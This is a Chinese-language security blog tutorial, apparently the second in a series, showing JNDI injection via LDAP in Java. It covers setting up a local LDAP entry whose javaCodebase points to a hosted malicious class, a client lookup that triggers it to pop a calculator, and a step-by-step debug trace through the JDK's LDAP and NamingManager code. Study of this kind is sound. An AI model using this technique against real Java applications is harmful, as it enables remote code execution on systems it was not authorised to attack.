author: bilala
0x00 前言
上一篇中我们利用RMI服务来实现JNDI注入,这一篇利用LDAP
0x01 LDAP
介绍
LDAP本身并不是Java的内容,LDAP是轻量级目录访问协议,基于 X.500 的 DAP 发展而来的,其本身只是个协议,与RMI还是有差别的。其他关于LDAP的介绍自行百度即可,都是Java外的东西了。
搭建
直接去官网下载Apache Directory Studio
,然后关掉欢迎页面后,在左下角新建服务器
只填服务器名即可
然后再在左下角连接服务器
端口为10389
连接好后在左侧可以新建Entry
属性如下
javaCodebse
中填的就是恶意类的地址,恶意类与上篇中的一样,放哪都行到时候用python开http服务就行
0x02 攻击
在恶意类所在处开启http服务
新建一个客户端类
package com.bilala;
import javax.naming.InitialContext;
public class JNDILDAPClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
}
}
运行弹出计算器
过程为:
- 客户端向ldap服务器发起请求,寻找
cn=test,dc=example,dc=com
的远程对象 - ldap服务器告诉客户端说要找就去
http://xxxx/
处找,也就是刚刚设置的javaCodebase - 客户端去
http://xxxx/
处请求这个远程对象 - 请求到后,客户端在本地实例化这个对象,从而触发恶意代码
0x03 分析
在lookup处下断点开始调试
然后一路跟进各种lookup函数,到下图这里的p_lookup也跟进去
到ComponentContext#p_lookup
中继续跟进c_lookup
在LdapCtx#c_lookup
这里就是去服务器上获取数据了
在这里获取远程对象的属性值
再往下跟一点,有个decodeObject
,这个函数就是在解析这些属性值了
decodeObject函数如下
static Object decodeObject(Attributes attrs)
throws NamingException {
Attribute attr;
// Get codebase, which is used in all 3 cases.
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// For backward compatibility only
return decodeRmiObject(
(String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String)attr.get(), codebases);
}
attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
return decodeReference(attrs, codebases);
}
return null;
} catch (IOException e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}
这里就是对不同的远程对象调用不同的方法了,如果是SERIALIZED_DATA
就调用deserializeObject
,如果是REMOTE_LOC
,就调用decodeRmiObject
,我们刚刚给远程对象设置的是一个引用,所以这里走decodeReference
跟进后也就是获取引用的值,我们走完这个函数然后一步步退出来,一直下一步回到LdapCtx
中
可以看到此时已经获取到了远程对象的引用了,接下来就是去引用中的工厂位置找远程对象
再往下走到DirectoryManager.getObjectInstance
跟进,实际上这个函数就是在实例化远程对象了,在这里边有个getObjectFactoryFromReference
函数
继续跟进,此时又来到了NamingManager#getObjectFactoryFromReference
,其实RMI的调用过程也是走的这里
不管是RMI还是LDAP还是其他的,在客户端获取远程对象时,总会跟到他们对应的Context类中,比如这里的LDAP对应的是LdapCtx类,RMI有其对应的,其他的也有对应的,但是在实例化这个远程对象时总会跳出这些对应类,也就是走到了
NamingManager#getObjectFactoryFromReference
(至少这俩都是走到这,别的还没研究),所以JNDI注入对协议本身并没有限制,这也就是为什么RMI、LDAP、CORBA等SPI都可以实现注入的原因
在NamingManager#getObjectFactoryFromReference
的最后会实例化这个远程对象,从而触发了恶意类中的构造函数弹出计算器
再下一步就弹出了
Comments | NOTHING